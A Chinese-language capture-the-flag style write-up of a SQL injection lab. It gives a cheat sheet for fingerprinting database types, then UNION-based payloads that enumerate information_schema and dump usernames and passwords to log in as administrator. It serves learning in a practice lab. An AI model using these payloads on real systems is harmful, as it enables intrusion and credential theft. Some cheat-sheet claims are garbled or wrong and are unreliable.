Lab: SQL injection attack, listing the database contents on non-Oracle databases
打靶时的思考:
1.sql注入的时候怎么判断是什么数据库?
答:
在 SQL 注入中判断数据库类型的方法如下:
- **MySQL 数据库**:
- 通过报错信息:you have an error in your SQL syntax, check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x。
- 通过连接符判断:'1' + '1' = '11',CONCAT('1', '1') = '11'。
- 通过特有数据表判断:and (select count(*) from information_schema.TABLES)>0。
- 通过 length 和 char 函数判断:同时支持 length()和 char(),len 应该也可以,and len('a') = 1(返回正常)。
- 通过 BENCHMARK 函数判断:select BENCHMARK(100000, MD5('ADMIN'))。
- 通过 @@version 和 version()判断:同时支持 @@version 和 version(),如果 version()报错就是 mssql。
- 通过注释符判断:如果 /**/返回错误,说明不是 MySQL。
- **MSSQL 数据库**:
- 通过报错信息:Msg 170, level 15, State 1, Line 1 Line 1: Incorrect syntax near ‘foo Msg 105, level 15, state 1, Line 1 Unclose quotation mark before the character string ‘foo 或者:Microsoft ODBC Database Engine 错误。
- 通过连接符判断:'1' + '1' = '11'(MySql 也支持)。
- 通过特有数据表判断:and (select count(*) from sysobjects)>0(返回正常),and (select count(*) from msysobjects)>0(返回错误)。
- 通过默认变量 SERVERNAME 判断:select @@SERVERNAMW?id = 0 / @@SERVERNAME(可能会触发错误报错)。
- 通过 len 函数判断:and len('a') = 1 返回正常,可能是 mssql、mysql、db2。
- 通过 @@version 和 version()判断:@@version 不报错,version()报错。
- 通过 substring 函数判断:substring('abc', 1, 1) = 'a'(返回正常)。
- 通过注释符判断:使用 – 返回正常,说明是 mssql 或者 oracle;;--(返回正常,mssql;错误,基本就是 Access)。
- 通过 sysobjects 判断。
- **Oracle 数据库**:
- 通过报错信息:ORA - 01756: quoted string not properly terminated,ORA - 00933: SQL command not properly ended。
- 通过连接符判断:'1' || '1' = '11',CONCAT('1', '1') = '11'。
- 通过特有数据表判断:and (select count(*) from sys.user_tables)>0。
- 通过 length 函数判断:可以使用 length,不能使用 len,len('a') = 1(报错)。
- 通过 substr 函数判断:只能使用 substr,不能用 substring。
- 通过注释符判断:; 是子句查询标识符,Oracle 不支持多行查询,若返回错误,则说明可能是 Oracle 数据库。
- **Access 数据库**:
- 通过报错信息:Microsoft JET Database Engine 错误 ‘80040e14’。
- 通过特有数据表判断:and (select count(*) from msysobjects)>0。
- 通过 len 和 chr 函数判断:同时支持 len()和 chr(),且不支持 length()和 char()。
- 通过注释符判断:使用 ;--,返回错误,基本可以肯定是 Access。
此外,还可以通过以下方式辅助判断:
- **根据端口判断**:
- Oracle:默认端口 1521。
- SQL Server:默认端口 1433。
- MySQL:默认端口 3306。
- **根据开发语言判断**:
- asp:SQL Server,Access。
-.net:SQL Server。
- php:MySQL,PostgreSQL。
- java:Oracle,MySQL。
- **根据数据库特有的函数来判断**:
- len():SQL Server、MySQL 以及 db2 返回长度的函数。
- length():Oracle 和 INFORMIX 返回长度的函数。
- version():MySQL 查询版本信息的函数。
- @@version:MySQL 和 SQL Server 查询版本信息的函数。
- substring:SQL Server 只可调用。
- substr:Oracle 只可调用,MySQL 两个函数都可以使用。
- **根据特殊符号进行判断**:
- /* 是 MySQL 数据库的注释符。
- -- 是 Oracle 和 SQL Server 支持的注释符。
- # 是 MySQL 中的注释符,返回错误则说明可能不是 MySQL,另外也支持 -- 和 /**/。
开始学习
先看一下本关描述
看到最后一句话,需要使用administrator登录,才可通关。
进入靶场首页
第一步:判断注入点(方法在第三关已经具体提到)
随便点点,发现url有控制参数,可以尝试在url直接进行测试,也可以使用bp或者其他的插件之类 (比如hackbar),这里成功判断出了有注入点(category=Pets' and 1=2--+返回为空)
其实我们在url后面输入单引号,双引号已经可以判断有注入点了,因为输入的都被显示在标题了
第二步:判断联合查询的字段
使用category=Pets' union select null--+发现出错
再试category=Pets' union select null,null--+,成功回显
那么如果想要知道是什么类型的数据库,则可以直接使用category=Pets' union select null,version()--+之类的进行查找(具体方法上面已经讲过)
第三步:开始查数据表名
使用category=Pets' union select table_name,null from information_schema.tables--+
翻找了一下,可能是这个有希望存有账号密码
users_ljprrf
第四步:查找users_ljprrf表下面的字段名,看有没有账号密码的相关字段
category=Pets' union select column_name,null from information_schema.columns where table_name='users_ljprrf'--+
如下图,成功查找到可能有账号密码的字段
第五步:直接查找该表下的这两个字段
category=Pets' union select username_pqddby,password_ciwqaa from users_ljprrf--+
然后往下翻翻,还真找到了账号密码
最后使用administrator账号跟密码进行登录
完成!
总结一下思路:
第一步:判断注入点
第二步:判断联合查询的字段
第三步:开始查数据表名
第四步:查找某表下面的字段名,看有没有账号密码的相关字段
第五步:直接查找该表下的这两个字段
最后拿到账号密码。
为什么不需要查数据库名呢?
通常情况下,你并不需要查询数据库名,这是因为:
-
攻击目标是数据表和数据字段:
- SQL 注入的主要目标是获取存储在数据库中的数据(如账号、密码等),而不是数据库本身的元数据(如数据库名)。
- 只要你能够确定数据库的结构(表名和字段名),并且能够查询数据,你就能够获取到敏感信息。数据库名本身不会直接影响这些数据的访问,因此通常不是首要关注的对象。
-
默认数据库环境:
- 在大多数情况下,Web 应用的数据库环境默认只会连接到一个特定的数据库。你可以通过注入点访问这个数据库中的表和字段,而不必关心当前数据库的名字。
- 如果攻击者能够从
information_schema
获取表和字段信息,那么实际上他们已经知道了数据库的结构,即使不知道数据库名也能进行操作。
-
操作简化:
- 一旦你找到了表和字段,注入的目标就会变得明确。数据库名通常不会影响实际的攻击过程,除非你知道有多个数据库可以攻击,而这种情况并不常见。
-
特定的攻击情境:
- 许多情况下,攻击者并不关心数据库名,因为他们通常只对数据库中存储的数据感兴趣,尤其是敏感的个人信息(如用户名、密码)。查询表名和字段名就足够进行后续的数据抓取了。
-
数据库配置的隐私:
- 在某些情况下,攻击者并不希望暴露数据库的名字。例如,攻击者通过注入查询表名和字段名的方式能够直接获取敏感数据,而没有必要显式地查询数据库名。
什么时候需要查找数据库名?
不过,在一些特殊情况下,查找数据库名可能是有用的,例如:
- 多个数据库:如果目标服务器托管多个数据库,攻击者可能需要知道当前使用的数据库,才能正确执行注入操作。
- 数据库特定配置或限制:某些数据库可能有针对不同数据库的配置限制或不同的数据存储方式。如果攻击者知道数据库名,可以针对该数据库执行特定的查询。
结论:
- 一般情况下,不需要查找数据库名,因为注入的目标是数据库中的表和字段,找到这些就能获取敏感信息。
- 数据库名对于攻击过程的必要性取决于特定情况。如果攻击者目标明确,专注于数据表和字段的注入,那么数据库名不是必需的。